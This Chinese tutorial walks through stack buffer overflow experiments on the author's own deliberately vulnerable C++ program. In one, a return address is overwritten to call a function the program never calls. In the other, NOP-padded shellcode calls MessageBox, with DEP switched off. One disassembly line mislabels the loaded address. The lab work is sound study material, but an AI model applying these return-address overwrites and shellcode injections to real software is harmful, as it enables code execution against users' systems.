前言
之前介绍的的缓冲区溢出导致站内变量值被修改(缓冲区溢出(栈溢出)实验 之 改变栈内的变量)
本小节介绍通过缓冲区溢出调用函数,此外通过学习也对函数栈的了解有所加深,这里加上小段自己对函数栈的理解
函数栈的介绍
通过汇编介绍函数执行过程中栈的变化:
EBP:栈底 存储着上一个栈的栈底EBP
ESP:栈顶 存储着系统栈的栈顶(函数栈形成是保存系统栈栈顶)
EIP:存储下一条将要执行指令的地址
我们习惯将栈底和栈顶之间划分为一个栈:访问栈是以栈底EBP作为基准的
调用函数(cdecl调用约定 --》 自右向左压栈 调用者负责清理传参的内存栈)
压入函数参数:
0041171E lea eax,[input]
00411721 push eax
调用函数:
00411722 call overflow (04112A3h)
开辟新栈:
push ebp //先将上一个栈的栈底保存到栈中
mov ebp,esp //将上一个栈的栈顶作为下一个栈的栈底即ESP赋值给EBP
之后将传递的参数压入栈中,执行函数内的指令
mov esp,ebp //将存储的上一个栈的栈顶恢复到ESP中
pop ebp
ret
完成栈的恢复,函数结束
add esp,4 //清除掉传递参数时开辟的栈内存(此处栈顶上移四个字节)
1、调用程序自身函数
首选上源码
#include<iostream>
#include<windows.h>
#include <string.h>
using namespace std;
int overflow(const char* input)
{
BOOL bFlAG = TRUE;
int nFlag = 1;
char buf[8];
memset(buf, 0, 8);
printf("Virtual address of 'buf' = Ox%p\n", buf);
printf("Virtual address of 'nFlag' = Ox%p NUM:%d \r\n", &nFlag, nFlag);
strcpy(buf, input);
printf("Virtual address of 'nFlag' = Ox%p NUM:%d \r\n", &nFlag, nFlag);
return 0;
}
void Fun()
{
printf("Buffer Overflow Success!\r\n");
return;
}
int main()
{
printf("Virtual address of 'overflow' = Ox%p\n", overflow);
printf("Virtual address of 'overflow' = Ox%p\n", Fun);
//注意这里ff后,但其实默认添加了’\0’在最后面
//char input[] = "AAAAAAAB";//good input, ASCII code of 'A' is 41
//构造新的字符串
char input[] = "AAAAAAAABBBBBBBBAAAC\x46\x17\x41\x00";//0x00411570
overflow(input);
system("pause");
return 0;
}
目标:更改栈的返回值,将返回值改为函数“Fun”的地址,那么当函数overflow返回时,会将返回地址填入EIP中,使得程序执行Fun函数。
查看的Fun的地址为0x00411570
进入overflow函数,并且在Fun函数内断点,
查看寄存器得到ESP为0x0019FE34,EBP为0x0019FE90
查看栈内存,标记红框的依次为ESP、buf、EBP、返回值(返回值位于EBP下的四字节内存,buf为将要分配给他的内存)
此时运行在“BOOL bFlAG = TRUE;”处
复制“strcpy(buf, input);”前内存情况
复制“strcpy(buf, input);”后内存情况
可看出我们将更改了buf、nFlag、bFlag、EBP的内容以及返回地址,其中返回地址修改为“Fun”函数的地址继续运行得到程序的结果如下图,该方法破坏了buf到返回地址存储位置所有的内存
我们成功的在没有调用“Fun”函数的情况下,执行了“Fun”函数
不过不幸的是我们破坏了栈的平衡,当程序从Fun函数中退出后,找不到下一句应该执行了语句所在的地址了,该问题导致出现以下提示:
问题描述:导致该问题的根源在于栈平衡被破坏,程序无法正确找到下一个执行指令
解决方案:可以在Fun函数加上exit(),直接退出进程这个提示就不存在了,但是这个方法仅仅是治标不治本,我们应该去重新调节堆栈的平衡
2、通过缓冲区溢出调用系统函数(messagebox)
#include<iostream>
#include<windows.h>
#include <string.h>
using namespace std;
int overflow(const char* input)
{
BOOL bFlAG = TRUE;
int nFlag = 1;
char buf[44];
memset(buf, 0, 44);
printf("Virtual address of 'buf' = Ox%p\n", buf);
printf("Virtual address of 'nFlag' = Ox%p NUM:%d \r\n", &nFlag, nFlag);
strcpy(buf, input);
printf("Virtual address of 'nFlag' = Ox%p NUM:%d \r\n", &nFlag, nFlag);
return 0;
}
void Fun()
{
printf("Buffer Overflow Success!\r\n");
exit(0);
return;
}
int main()
{
printf("Virtual address of 'overflow' = Ox%p\n", overflow);
//加载user32.dll库
HMODULE hUserModule = LoadLibrary("user32.dll");
if (NULL == hUserModule)
{
printf("动态库加载失败BufferOverflow.cpp 错误码:%d \r\n",GetLastError());
return 0;
}
printf("MessageBox Address %X\r\n", MessageBox);
//MessageBox(NULL, "failwest", "failwest", 0);
//printf("Virtual address of 'overflow' = Ox%p\n", Fun);
//注意这里ff后,但其实默认添加了’\0’在最后面
char input[] = "\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50\x53\xB8\xB0\xF8\x0E\x74\xFF\xD0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x38\xFE\x19"
;//Messagebox函数地址:0x740EF8B0
//char input[] = "AAAAAAB";//good input, ASCII code of 'A' is 41
//char input[] = "AAAAAAA";//good input, ASCII code of 'A' is 41
overflow(input);
system("pause");
return 0;
}
进入overflow函数查看栈内存 ESP = 0019FDEC EBP = 0019FE6C
被标记出来的分别为ESP、EBP、函数结束后的返回地址
Shellcode如何构成
使用ebx的异或作为0使用
调用messagebox函数需要在栈中压入函数的参数(自右向左压入)
33DB XOR EBX,EBX
- PUSH EBX
6877657374 PUSH 74736577
686661696C push 6C696166
将字符串传入EAX中
8BC4 mov eax,esp
53 push ebx
50 push eax
50 push eax
53 push ebx
压栈完毕调用messagebox(地址:0x740EF8B0)x0E\x74\xFF\xD0
B80E74FFD0 mov eax, 0E74FFD0
FFD0 call eax
然后在函数返回地址处填充buf的地址
在其他非关键位置填充NOP指令,这样就够成了今天使用的shellcode
申请的buf地址为0x0019fe38,在Buf中填充执行调用系统函数的代码,然后再函数返回地址处填充上buf的地址,使得函数执行结束后跳到buf地址处继续执行我们的调用系统函数的地址。系统函数为调用messagebox函数弹出failwest提示消息。
“strcpy(buf, input);”函数后
我们发现EBP后的返回地址改为buf的地址,因此程序在结束函数overflow后会调到0x0019fe38处继续执行我们精心构造的shellcode。如此就完成了通过栈溢出调用messagebox函数。
注意:此处会出现栈内存无法执行的问题,解决方案为修改 项目--》属性--》链接器--》高级--》数据执行保护(DEP) 为 否 (/NXCOMPAT:NO)
执行结果为